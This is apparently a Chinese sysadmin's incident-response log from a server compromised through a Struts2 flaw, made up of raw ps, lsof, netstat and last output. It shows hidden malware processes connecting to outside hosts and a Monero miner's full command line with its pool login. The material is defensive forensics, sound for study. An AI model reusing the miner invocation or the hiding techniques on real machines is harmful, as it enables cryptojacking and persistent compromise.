再续服务器被肉鸡的经历-- struts2漏洞-程序员宅基地

[root@app130-33 ~]# cat myout.file 
YAM - Yet Another Miner by yvg1900
yam M7v-linux64-core2/yvg1900
**********************************************************************************************************
* Supported coins: PTS MMC MAX GRS DMD DVK MYR BCN QCN FCN XMR                                           *
* Author: yvg1900 (Twitter @yvg1900)                                                                     *
* XPT protocol: jh (http://ypool.net)                                                                    *
*                                                                                                        *
* Addresses for Thanks and Donations:                                                                    *
*   PTS: PZxsEQoiMeB6tHcW2ZySBEiCPio1WkxbEL                                                              *
*   XPM: AW2388DEWNEfMH4rP9kcj9yKcMq1QywYT4                                                              *
*   DTC: D6PmUogMigWvXurgFTqm5VLxQeVpXdYQj3                                                              *
*   MMC: MVk7PuJCa9o6qTYeiQRJDd3uHxKXMrQuU6                                                              *
*   LTC: Lby4YjhcAxhmbsdHFb4nYydrwGoiJezZt1                                                              *
*   BTC: 1FxekeK5La7AuF3oxiLzPKnjXyLMrux6VT                                                              *
*   NMC: N9KXqmzEqP7gB2dGHpEZiRMgFjUHNM38FR                                                              *
*   MAX: mTEsqg9dp3U9YXwduKxhhhDx1TRPBcNRvA                                                              *
*   NRS: 9qwyC34MCZ9XGopaNDNTnaMBtjAZhHvBd3                                                              *
*   GRS: FpHaQNJ2nMUc2kgBbzYue13E9VUfL8YbQp                                                              *
*   DMD: dEQZa7W7AczvUsjJkvWWrim1j8ZtgbAwXv                                                              *
*   DVK: D9o66V4h75JzWNpsaPidmKFVgwEf2DcDAX                                                              *
*   MYR: MFDpLPThL6D6vtWW42XobFNBpPdrJFPQb6                                                              *
*   XMR: 45w9aqVA6iVeMJ6jVHZPEyPqgVnBEAGhBBqGAW9ncXp44qbZy9vXkd2KpqYwcyVTQHF1kaSJm97GyceP3Y2dRMd7E9gyuZf *
*   BCN: 2AcGMZmmNWTiLvAg5n7ywMCAxXTxysYGsi1xzba2ok4UPccWTLqRyKN7EnQYUpEWpqBw1c9EVZrqo2CUG8f8mbjG5NA9njF *
*   QCN: 1V6wZP6aycYPbeafHxPcvaQfGs4M5kabHDQoTEsyCTT3HjccMyQbvEVNPoJuRc79XrPRYWESiAezyipWojpZ8bii3kczNgW *
*   FCN: 6rNjXkY5YQzWiTMmDUbL5gYTWx9UTdUMSA98S1G3cTmhZN9Xp6kq4woGeoK5Q8B3fPZV6TFKs36zdHpZnYxA4BFK3fLpJzW *
**********************************************************************************************************
Can not load config file [x]
Miner version: yam M7v-linux64-core2/yvg1900
Checking target [stratum+tcp://47CunEQ4v8FPVNnw9mDgNZeaiSo6SVDydB3AZM341ZtdYpBYNmYeqhh4mpU1X6RSmgBTfC8xqaAtUGC2DArotyaKSz1LJyj.f2bec1df3c6bf9a03c8ce785d333ff96bc65f9a2df0189a8635878d6d26ae814:[email protected]:8005:8050:8080:8100/xmr]...
Target OK
Checking XMR optimizations compatibility...
OK: XMR optimizations are compatible
Monero: Determine Algorithm Variation by finetuning
Using 16 CPU mining threads
  Will mine 96 rounds for miner developers to support development of the next version
  Follow @yvg1900 on Twitter to get information on new version availability on time
Monero Aggregated Hash/sec: ?; Rounds Complete/Incomplete: 0/0, Donated Complete/Incomplete: 0/0; Config/Worker Hash/sec: ?/? on 0 rounds with AV=1, ART=? ms; Fine-tuning: IN PROGRESS, AV/RT: 1/0, Best AV/RT: 1/0
  moria.dwarfpool.com: Connecting, Shares Submitted 0, Accepted 0
STRATUM-RPC2: Logged in with 47CunEQ4v8FPVNnw9mDgNZeaiSo6SVDydB3AZM341ZtdYpBYNmYeqhh4mpU1X6RSmgBTfC8xqaAtUGC2DArotyaKSz1LJyj.f2bec1df3c6bf9a03c8ce785d333ff96bc65f9a2df0189a8635878d6d26ae814
New Monero Block nTime 1489470304
New Monero Block nTime 1489470309
Monero Aggregated Hash/sec: ?; Rounds Complete/Incomplete: 0/0, Donated Complete/Incomplete: 0/0; Config/Worker Hash/sec: ?/? on 0 rounds with AV=1, ART=? ms; Fine-tuning: IN PROGRESS, AV/RT: 1/0, Best AV/RT: 1/0
  moria.dwarfpool.com: On-line, Shares Submitted 0, Accepted 0

处理过程：

服务:
[root@app130-33 bin]# date -u
2017年 03月 14日 星期二 06:15:29 UTC
[root@app130-33 bin]# date -R
Tue, 14 Mar 2017 14:18:03 +0800
[root@app130-33 bin]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:50:56:B6:38:21
inet addr:192.168.130.33 Bcast:192.168.130.255 Mask:255.255.255.0
inet6 addr: fe80::250:56ff:feb6:3821/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1064663029 errors:0 dropped:0 overruns:0 frame:0
TX packets:902352525 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:507233208569 (472.3 GiB) TX bytes:634865464079 (591.2 GiB)
查看服务硬件
[root@app130-33 bin]# lspci
00:18.4 PCI bridge: VMware PCI Express Root Port (rev 01)
00:18.5 PCI bridge: VMware PCI Express Root Port (rev 01)
00:18.6 PCI bridge: VMware PCI Express Root Port (rev 01)
00:18.7 PCI bridge: VMware PCI Express Root Port (rev 01)
显示为VMware的虚拟机
看进程
[root@app130-33 bin]# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 19364 1628 ? Ss 2016 0:52 /sbin/init
root 2 0.0 0.0 0 0 ? S 2016 0:00 [kthreadd]
#中间省略多数系统进程
root 236 0.0 0.0 0 0 ? S 2016 0:00 [kthrotld/15]
root 237 0.0 0.0 0 0 ? S 2016 0:00 [pciehpd]
root 239 0.0 0.0 0 0 ? S 2016 0:00 [kpsmoused]
root 240 0.0 0.0 0 0 ? S 2016 0:00 [usbhid_resumer]
root 270 0.0 0.0 0 0 ? S 2016 0:00 [kstriped]
root 336 0.0 0.0 94660 4988 ? Ssl 13:31 0:01 ./zou
root 375 0.0 0.0 0 0 ? S 2016 0:00 [scsi_eh_0]
root 376 0.0 0.0 0 0 ? S 2016 0:00 [scsi_eh_1]
root 415 0.0 0.0 11716 604 ? Ssl 13:31 0:00 /usr/bin/.sshd
root 463 0.0 0.0 0 0 ? S 2016 0:00 [scsi_eh_2]
root 464 0.0 0.0 0 0 ? S 2016 0:00 [vmw_pvscsi_wq_2]
root 506 0.0 0.0 0 0 ? S 2016 53:20 [jbd2/sda1-8]
root 507 0.0 0.0 0 0 ? S 2016 0:00 [ext4-dio-unwrit]
root 539 0.0 0.0 888 276 ? Ss 13:31 0:02 /etc/.zl
root 592 0.0 0.0 11296 1384 ? S<s 2016 0:00 /sbin/udevd -d
root 785 0.0 0.0 0 0 ? S 2016 4:08 [vmmemctl]
root 975 0.0 0.0 111244 1372 ? Sl 13:32 0:01 /etc/.System
root 976 0.0 0.0 1776 204 ? S 13:32 0:00 /etc/.System
root 980 0.0 0.0 3932 484 ? S 13:32 0:00 ./dbuspm-session /etc/.System RunByP975
root 1250 0.0 0.0 11292 1412 ? S< 2016 0:00 /sbin/udevd -d
root 1251 0.0 0.0 11292 1376 ? S< 2016 0:00 /sbin/udevd -d
root 1315 0.0 0.0 0 0 ? S 2016 79:04 [flush-8:0]
root 1331 0.0 0.0 0 0 ? S 2016 0:13 [kauditd]
root 1665 0.1 0.0 179240 4468 ? S 2016 161:04 /usr/sbin/vmtoolsd
root 1767 0.0 0.0 93200 912 ? S<sl 2016 0:58 auditd
root 1785 0.0 0.0 6160 576 ? Ss 2016 0:00 /sbin/portreserve
root 1792 0.0 0.0 251592 4444 ? Sl 2016 0:19 /sbin/rsyslogd -i /var/run/syslogd.pid root 1804 0.0 0.0 10948 672 ? Ss 2016 61:22 irqbalance --pid=/var/run/irqbalance.dbus 1812 0.0 0.0 21556 1004 ? Ss 2016 0:00 dbus-daemon --system
root 1842 0.0 0.0 6260 300 ? Ss 2016 0:00 /usr/sbin/mcelog --daemon
root 1854 0.0 0.0 66604 1236 ? Ss 2016 0:00 /usr/sbin/sshd
root 1862 0.0 0.0 22180 972 ? Ss 2016 0:00 xinetd -stayalive -pidfile /var/run/xinetd.root 1895 0.0 0.0 110316 1008 ? Ss 2016 0:00 /usr/sbin/abrtd
zabbix 1916 0.0 0.0 18760 752 ? S 2016 0:00 /usr/local/zabbix/sbin/zabbix_agentd
zabbix 1921 0.0 0.0 18760 1872 ? S 2016 88:18 /usr/local/zabbix/sbin/zabbix_agentd: zabbix 1922 0.0 0.0 18760 1116 ? S 2016 1:34 /usr/local/zabbix/sbin/zabbix_agentd: zabbix 1923 0.0 0.0 18760 1116 ? S 2016 1:32 /usr/local/zabbix/sbin/zabbix_agentd: zabbix 1924 0.0 0.0 18760 1116 ? S 2016 1:34 /usr/local/zabbix/sbin/zabbix_agentd: zabbix 1925 0.0 0.0 18768 876 ? S 2016 14:03 /usr/local/zabbix/sbin/zabbix_agentd: root 1932 0.0 0.0 21540 480 ? Ss 2016 0:00 /usr/sbin/atd
root 1945 0.0 0.0 104016 584 ? Ss 2016 0:00 /usr/bin/rhsmcertd
root 1961 0.0 0.1 717856 40416 ? Sl 2016 99:14 /usr/bin/python /usr/bin/salt-minion
root 1972 0.0 0.0 62332 596 ? Ss 2016 0:13 /usr/sbin/certmonger -S -p /var/run/certmonger.root 1983 0.4 0.5 689444 197164 ? S<sl 2016 705:18 mfsmount /data/ -H 192.168.10.11
root 2007 0.0 0.0 4064 532 tty2 Ss+ 2016 0:00 /sbin/mingetty /dev/tty2
root 2009 0.0 0.0 4064 536 tty3 Ss+ 2016 0:00 /sbin/mingetty /dev/tty3
root 2011 0.0 0.0 4064 532 tty4 Ss+ 2016 0:00 /sbin/mingetty /dev/tty4
root 2013 0.0 0.0 4064 532 tty5 Ss+ 2016 0:00 /sbin/mingetty /dev/tty5
root 2015 0.0 0.0 4064 532 tty6 Ss+ 2016 0:00 /sbin/mingetty /dev/tty6
root 2962 0.0 0.0 106096 1300 ? S Mar09 0:00 /bin/sh /jboss-4.2.3/bin/run3.sh -b
root 2971 1.4 7.7 13756408 2560144 ? Sl Mar09 104:30 /usr/local/jdk1.6.0_45/bin/java -Dprogram.root 3651 0.0 0.0 106096 1304 ? S Mar09 0:00 /bin/sh /jboss-4.2.3/bin/run4.sh -b
root 3660 2.8 5.0 13091608 1654588 ? Sl Mar09 201:23 /usr/local/jdk1.6.0_45/bin/java -Dprogram.root 6260 0.0 0.0 100540 4440 ? Ss 13:42 0:00 sshd: root@pts/0
root 6271 0.0 0.0 108680 2124 pts/0 Ss+ 13:42 0:00 -bash
root 7601 1486 0.2 1417564 83392 ? Sl 13:45 519:56 /etc/.yam -c x -M stratum+tcp://47CunEQ4v8FPVNnw9mDgNZeaiSo6SVDydB3AZM341ZtdYpBYNmYeqhh4mpU1X6RSmgBTfC8xqaAtUGC2DArotyaKSz1LJyj.nagios 7941 0.0 0.0 39340 1352 ? Ss 2016 3:10 /usr/local/nagios/bin/nrpe -c /etc/nagios/root 8228 0.0 0.0 100844 4648 ? Ss 13:46 0:00 sshd: root@pts/1
root 8232 0.0 0.0 108544 1984 pts/1 Ss 13:46 0:00 -bash
root 10037 0.0 0.0 106096 1304 pts/0 S 13:49 0:00 /bin/sh /jboss-4.2.3/bin/run2.sh -b
root 10046 15.1 8.1 13130424 2674088 pts/0 Sl 13:49 4:39 /usr/local/jdk1.6.0_45/bin/java -Dprogram.root 15332 0.0 0.0 100364 4160 ? Ss 13:58 0:00 sshd: root@pts/3
root 15336 0.0 0.0 108424 1868 pts/3 Ss+ 13:58 0:00 -bash
root 16805 0.0 0.0 100364 4060 ? Ss 14:00 0:00 sshd: wclog [priv]
wclog 16828 0.0 0.0 100364 1776 ? S 14:00 0:00 sshd: wclog@pts/4
wclog 16829 0.0 0.0 108464 1864 pts/4 Ss+ 14:00 0:00 -bash
root 17018 0.0 0.0 117328 1340 ? Ss Jan21 0:51 crond
root 18785 0.0 0.0 93636 912 ? Ssl 14:03 0:00 /jboss-4.2.3/bin/zou
root 18894 0.0 0.0 11716 552 ? Ssl 14:03 0:00 /usr/bin/.sshd
root 19895 0.0 0.0 100364 4168 ? Ss 14:05 0:00 sshd: root@pts/6
root 19915 0.0 0.0 108468 1980 pts/6 Ss+ 14:05 0:00 -bash
root 22608 0.0 0.0 100364 4224 ? Ss 14:08 0:00 sshd: root@pts/8
root 23619 0.0 0.0 108432 1964 pts/8 Ss 14:10 0:00 -bash
root 23720 0.0 0.0 41868 504 ? Ssl 14:10 0:00 /tmp/.lz1489471809
root 26477 0.0 0.0 105444 848 pts/1 S+ 14:14 0:00 less
root 27728 0.0 0.0 4116540 3412 ? Sl 09:48 0:00 /usr/sbin/console-kit-daemon --no-daemon
root 28464 0.0 0.0 100364 4072 ? Ss 10:03 0:00 sshd: wclog [priv]
wclog 28466 0.0 0.0 100364 1804 ? S 10:03 0:01 sshd: wclog@pts/5
wclog 28467 0.0 0.0 108468 1928 pts/5 Ss+ 10:03 0:00 -bash
root 29128 0.0 0.0 4064 528 tty1 Ss+ 10:18 0:00 /sbin/mingetty /dev/tty1
root 31228 0.0 0.0 1484 700 pts/8 S+ 14:19 0:00 ps aux
root 31229 1.0 0.0 110232 1136 pts/8 R+ 14:19 0:00 /usr/bin/dpkgd/ps aux
查看网络监听
[root@app130-33 bin]# netstat -tnpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 192.168.130.33:28939 0.0.0.0:* LISTEN 10046/java
tcp 0 0 0.0.0.0:21099 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:48939 0.0.0.0:* LISTEN 3660/java
tcp 0 0 0.0.0.0:41099 0.0.0.0:* LISTEN 3660/java
tcp 0 0 0.0.0.0:49709 0.0.0.0:* LISTEN 3660/java
tcp 0 0 192.168.130.33:21198 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:41198 0.0.0.0:* LISTEN 3660/java
tcp 0 0 192.168.130.33:35566 0.0.0.0:* LISTEN 2971/java
tcp 0 0 192.168.130.33:21199 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:41199 0.0.0.0:* LISTEN 3660/java
tcp 0 0 0.0.0.0:2863 0.0.0.0:* LISTEN 3660/java
tcp 0 0 192.168.130.33:34544 0.0.0.0:* LISTEN 2971/java
tcp 0 0 0.0.0.0:31888 0.0.0.0:* LISTEN 2971/java
tcp 0 0 0.0.0.0:17872 0.0.0.0:* LISTEN 2971/java
tcp 0 0 127.0.0.1:35536 0.0.0.0:* LISTEN 1983/mfsmount
tcp 0 0 192.168.130.33:38193 0.0.0.0:* LISTEN 2971/java
tcp 0 0 192.168.130.33:34545 0.0.0.0:* LISTEN 2971/java
tcp 0 0 192.168.130.33:29010 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:49010 0.0.0.0:* LISTEN 3660/java
tcp 0 0 0.0.0.0:24212 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:33973 0.0.0.0:* LISTEN 2971/java
tcp 0 0 0.0.0.0:25622 0.0.0.0:* LISTEN 3660/java
tcp 0 0 192.168.130.33:35446 0.0.0.0:* LISTEN 2971/java
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1854/sshd
tcp 0 0 192.168.130.33:28183 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:48183 0.0.0.0:* LISTEN 3660/java
除了zabbix_agentd, nagios nrpe 和 mfsmount ，sshd 其他都是java业务进程监听端口
查看可疑进程的详细情况
梳理的可疑进程列表
详细情况
tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN 10046/java
tcp 0 0 0.0.0.0:2459 0.0.0.0:* LISTEN 3660/java
tcp 0 0 192.168.130.33:38939 0.0.0.0:* LISTEN 2971/java
tcp 0 0 0.0.0.0:31099 0.0.0.0:* LISTEN 2971/java
tcp 0 0 0.0.0.0:24637 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:25566 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:45566 0.0.0.0:* LISTEN 3660/java
tcp 0 0 0.0.0.0:50782 0.0.0.0:* LISTEN 2971/java
tcp 0 0 192.168.130.33:31198 0.0.0.0:* LISTEN 2971/java
tcp 0 0 0.0.0.0:46591 0.0.0.0:* LISTEN 10046/java
tcp 0 0 0.0.0.0:2559 0.0.0.0:* LISTEN 3660/java
tcp 0 0 192.168.130.33:31199 0.0.0.0:* LISTEN 2971/java
tcp 0 0 192.168.130.33:24544 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:44544 0.0.0.0:* LISTEN 3660/java
tcp 0 0 192.168.130.33:28193 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:24545 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:48193 0.0.0.0:* LISTEN 3660/java
tcp 0 0 192.168.130.33:44545 0.0.0.0:* LISTEN 3660/java
tcp 0 0 0.0.0.0:37409 0.0.0.0:* LISTEN 2971/java
tcp 0 0 0.0.0.0:38721 0.0.0.0:* LISTEN 2971/java
tcp 0 0 192.168.130.33:39010 0.0.0.0:* LISTEN 2971/java
tcp 0 0 0.0.0.0:5666 0.0.0.0:* LISTEN 7941/nrpe
tcp 0 0 0.0.0.0:10050 0.0.0.0:* LISTEN 1916/zabbix_agentd
tcp 0 0 0.0.0.0:42180 0.0.0.0:* LISTEN 3660/java
tcp 0 0 192.168.130.33:23973 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:43973 0.0.0.0:* LISTEN 3660/java
tcp 0 0 192.168.130.33:25446 0.0.0.0:* LISTEN 10046/java
tcp 0 0 192.168.130.33:45446 0.0.0.0:* LISTEN 3660/java
tcp 0 0 192.168.130.33:38183 0.0.0.0:* LISTEN 2971/java
tcp 0 0 0.0.0.0:49705 0.0.0.0:* LISTEN 10046/java
tcp 0 0 0.0.0.0:19049 0.0.0.0:* LISTEN 3660/java
tcp 0 0 0.0.0.0:21482 0.0.0.0:* LISTEN 10046/java
tcp 0 0 :::22 :::* LISTEN 1854/sshd
tcp 0 0 :::5666 :::* LISTEN 7941/nrpe
root 336 0.0 0.0 94660 4988 ? Ssl 13:31 0:01 ./zou
root 415 0.0 0.0 11716 604 ? Ssl 13:31 0:00 /usr/bin/.sshd
root 539 0.0 0.0 888 276 ? Ss 13:31 0:02 /etc/.zl
root 975 0.0 0.0 111244 1372 ? Sl 13:32 0:01 /etc/.System
root 976 0.0 0.0 1776 204 ? S 13:32 0:00 /etc/.System
root 980 0.0 0.0 3932 484 ? S 13:32 0:00 ./dbuspm-session /etc/.System RunByP975
root 7601 1486 0.2 1417564 83392 ? Sl 13:45 519:56 /etc/.yam -c x -M stratum+tcp:/
root 18785 0.0 0.0 93636 912 ? Ssl 14:03 0:00 /jboss-4.2.3/bin/zou
root 18894 0.0 0.0 11716 552 ? Ssl 14:03 0:00 /usr/bin/.sshd
root 23720 0.0 0.0 41868 504 ? Ssl 14:10 0:00 /tmp/.lz1489471809
[root@app130-33 bin]# lsof -p 336
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
zou 336 root cwd DIR 8,1 4096 1835318 /jboss-4.2.3/bin
zou 336 root rtd DIR 8,1 4096 2 /
zou 336 root txt REG 8,1 1223123 1840013 /jboss-4.2.3/bin/zou (deleted)
zou 336 root 0u CHR 1,3 0t0 3968 /dev/null
zou 336 root 1u CHR 1,3 0t0 3968 /dev/null
zou 336 root 2u CHR 1,3 0t0 3968 /dev/null
zou 336 root 3uW REG 8,1 3 1704074 /tmp/gates.lod (deleted)
[root@app130-33 bin]# lsof -p 415
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
.sshd 415 root cwd DIR 8,1 4096 1835318 /jboss-4.2.3/bin
.sshd 415 root rtd DIR 8,1 4096 2 /
.sshd 415 root txt REG 8,1 1223123 298307 /usr/bin/.sshd (deleted)
.sshd 415 root 0u CHR 1,3 0t0 3968 /dev/null
.sshd 415 root 1u CHR 1,3 0t0 3968 /dev/null
.sshd 415 root 2u CHR 1,3 0t0 3968 /dev/null
.sshd 415 root 3uW REG 8,1 3 1704082 /tmp/moni.lod (deleted)
[root@app130-33 bin]# lsof -p 539
'COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
.zl 539 root cwd DIR 8,1 4096 1835318 /jboss-4.2.3/bin
.zl 539 root rtd DIR 8,1 4096 2 /
.zl 539 root txt REG 8,1 727556 1450898 /etc/.zl
.zl 539 root 0r CHR 1,3 0t0 3968 /dev/null
.zl 539 root 1w FIFO 0,8 0t0 91799092 pipe
.zl 539 root 2w FIFO 0,8 0t0 91799092 pipe
[root@app130-33 bin]# lsof -p 976
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
.System 976 root cwd DIR 8,1 3514368 1703937 /tmp
.System 976 root rtd DIR 8,1 4096 2 /
.System 976 root txt REG 8,1 1820918 1450903 /etc/.System
.System 976 root 0u sock 0,6 0t0 91808256 can't identify protocol
[root@app130-33 bin]#
[root@app130-33 bin]# lsof -p 980
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
dbuspm-se 980 root cwd DIR 8,1 3514368 1703937 /tmp
dbuspm-se 980 root rtd DIR 8,1 4096 2 /
dbuspm-se 980 root txt REG 8,1 10464 1704085 /tmp/dbuspm-session (deleted)
dbuspm-se 980 root mem REG 8,1 156928 796038 /lib64/ld-2.12.so
dbuspm-se 980 root mem REG 8,1 1926800 796039 /lib64/libc-2.12.so
dbuspm-se 980 root 0r CHR 1,3 0t0 3968 /dev/null
zou 336 root 3uW REG 8,1 3 1704074 /tmp/gates.lod (deleted)
zou 336 root 4u IPv4 92239745 0t0 TCP app130-33:5535->122.192.218.121:7759 (ESTABLISHED)
[root@app130-33 bin]# lsof -p 975
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
.System 975 root cwd DIR 8,1 3514368 1703937 /tmp
.System 975 root rtd DIR 8,1 4096 2 /
.System 975 root txt REG 8,1 1820918 1450903 /etc/.System
.System 975 root mem REG 8,1 156928 796038 /lib64/ld-2.12.so
.System 975 root mem REG 8,1 1926800 796039 /lib64/libc-2.12.so
.System 975 root mem REG 8,1 113952 796046 /lib64/libresolv-2.12.so
.System 975 root mem REG 8,1 27424 786460 /lib64/libnss_dns-2.12.so
.System 975 root mem REG 8,1 65928 786462 /lib64/libnss_files-2.12.so
.System 975 root 0u IPv4 91810515 0t0 TCP app130-33:52331->123.135.128.178:29135 (ESTABLISHED)
[root@app130-33 bin]# lsof -p 7601
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
.yam 7601 root cwd DIR 8,1 4096 1179649 /root
.yam 7601 root rtd DIR 8,1 4096 2 /
.yam 7601 root txt REG 8,1 3867096 1450905 /etc/.yam
.yam 7601 root mem REG 8,1 156928 796038 /lib64/ld-2.12.so
[root@app130-33 bin]# lsof -p 18894
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
.sshd 18894 root cwd DIR 8,1 4096 1835318 /jboss-4.2.3/bin
.sshd 18894 root rtd DIR 8,1 4096 2 /
.sshd 18894 root txt REG 8,1 1223123 298354 /usr/bin/.sshd
.sshd 18894 root 0u CHR 1,3 0t0 3968 /dev/null
.sshd 18894 root 1u CHR 1,3 0t0 3968 /dev/null
.sshd 18894 root 2u CHR 1,3 0t0 3968 /dev/null
.sshd 18894 root 3uW REG 8,1 5 1703947 /tmp/moni.lod
服务登陆记录
[root@app130-33 bin]# last
root pts/2 192.168.10.47 Tue Mar 14 14:36 still logged in
root pts/8 192.168.10.86 Tue Mar 14 14:10 still logged in
root pts/7 192.168.10.47 Tue Mar 14 14:07 - 14:13 (00:05)
root pts/6 10.8.0.118 Tue Mar 14 14:05 still logged in
root pts/6 10.8.0.118 Tue Mar 14 14:00 - 14:04 (00:04)
wclog pts/4 10.8.1.158 Tue Mar 14 14:00 - 14:30 (00:30)
root pts/3 10.8.0.6 Tue Mar 14 13:58 still logged in
root pts/1 10.8.0.14 Tue Mar 14 13:46 still logged in
root pts/0 10.8.0.242 Tue Mar 14 13:42 still logged in
wclog pts/0 10.8.1.158 Tue Mar 14 12:19 - 12:49 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 11:49 - 12:19 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 11:19 - 11:49 (00:30)
.yam 7601 root mem REG 8,1 1926800 796039 /lib64/libc-2.12.so
.yam 7601 root mem REG 8,1 113952 796046 /lib64/libresolv-2.12.so
.yam 7601 root mem REG 8,1 27424 786460 /lib64/libnss_dns-2.12.so
.yam 7601 root mem REG 8,1 65928 786462 /lib64/libnss_files-2.12.so
.yam 7601 root 0r CHR 1,3 0t0 3968 /dev/null
.yam 7601 root 1w REG 8,1 76373 1190862 /root/myout.file
.yam 7601 root 2w REG 8,1 76373 1190862 /root/myout.file
.yam 7601 root 3u REG 0,9 0 3966 [eventfd]
.yam 7601 root 4u REG 0,9 0 3966 [eventpoll]
.yam 7601 root 5u REG 0,9 0 3966 [timerfd]
.yam 7601 root 6u IPv4 92265271 0t0 TCP app130-33:22516->ns377151.ip-94-23-55.eu:mxi .yam 7601 root 7r FIFO 0,8 0t0 91921852 pipe
.yam 7601 root 8w FIFO 0,8 0t0 91921852 pipe
[root@app130-33 bin]# lsof -p 18785
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
zou 18785 root cwd DIR 8,1 4096 1835318 /jboss-4.2.3/bin
zou 18785 root rtd DIR 8,1 4096 2 /
zou 18785 root txt REG 8,1 1223123 1839010 /jboss-4.2.3/bin/zou
zou 18785 root 0u CHR 1,3 0t0 3968 /dev/null
zou 18785 root 1u CHR 1,3 0t0 3968 /dev/null
zou 18785 root 2u CHR 1,3 0t0 3968 /dev/null
zou 18785 root 3uW REG 8,1 5 1703940 /tmp/gates.lod
zou 18785 root 4u IPv4 92281673 0t0 TCP app130-33:6097->122.192.218.121:7759 (SYN_SENT)
[root@app130-33 bin]# lsof -p 23720
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
.lz148947 23720 root cwd DIR 8,1 4096 1835318 /jboss-4.2.3/bin
.lz148947 23720 root rtd DIR 8,1 4096 2 /
.lz148947 23720 root txt REG 8,1 727556 1703943 /tmp/.lz1489471809
.lz148947 23720 root 0r CHR 1,3 0t0 3968 /dev/null
.lz148947 23720 root 1w FIFO 0,8 0t0 91799092 pipe
.lz148947 23720 root 2w FIFO 0,8 0t0 91799092 pipe
.lz148947 23720 root 3r IPv4 92165385 0t0 TCP app130-33:ewctsp->222.186.59.156:exp1
服务登陆记录
[root@app130-33 bin]# last
root pts/2 192.168.10.47 Tue Mar 14 14:36 still logged in
root pts/8 192.168.10.86 Tue Mar 14 14:10 still logged in
root pts/7 192.168.10.47 Tue Mar 14 14:07 - 14:13 (00:05)
root pts/6 10.8.0.118 Tue Mar 14 14:05 still logged in
root pts/6 10.8.0.118 Tue Mar 14 14:00 - 14:04 (00:04)
wclog pts/4 10.8.1.158 Tue Mar 14 14:00 - 14:30 (00:30)
root pts/3 10.8.0.6 Tue Mar 14 13:58 still logged in
root pts/1 10.8.0.14 Tue Mar 14 13:46 still logged in
root pts/0 10.8.0.242 Tue Mar 14 13:42 still logged in
wclog pts/0 10.8.1.158 Tue Mar 14 12:19 - 12:49 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 11:49 - 12:19 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 11:19 - 11:49 (00:30)
root pts/1 10.8.0.6 Tue Mar 14 11:08 - 11:38 (00:30)
wclog pts/2 10.8.0.90 Tue Mar 14 10:51 - 14:13 (03:21)
wclog pts/2 10.8.0.90 Tue Mar 14 10:50 - 10:51 (00:00)
wclog pts/0 10.8.1.158 Tue Mar 14 10:49 - 11:19 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 10:19 - 10:49 (00:30)
root pts/1 10.8.0.118 Tue Mar 14 10:12 - 10:56 (00:43)
wclog pts/6 10.8.0.90 Tue Mar 14 10:04 - 10:52 (00:48)
wclog pts/5 10.8.0.26 Tue Mar 14 10:03 - 14:31 (04:27)
root pts/4 10.8.0.242 Tue Mar 14 10:00 - 10:21 (00:21)
root pts/3 10.8.0.6 Tue Mar 14 09:55 - 10:25 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 09:48 - 10:18 (00:30)
root tty1 Tue Mar 14 09:48 - 10:18 (00:30)
wclog pts/2 10.8.0.38 Tue Mar 14 09:43 - 10:13 (00:30)
root pts/1 10.8.0.14 Tue Mar 14 09:40 - 10:10 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 09:18 - 09:48 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 08:48 - 09:18 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 08:18 - 08:48 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 07:48 - 08:18 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 07:18 - 07:48 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 06:48 - 07:18 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 06:18 - 06:48 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 05:48 - 06:18 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 05:17 - 05:48 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 04:47 - 05:17 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 04:17 - 04:47 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 03:47 - 04:17 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 03:17 - 03:47 (00:30)
wclog pts/0 10.8.1.158 Tue Mar 14 02:47 - 03:17 (00:30)
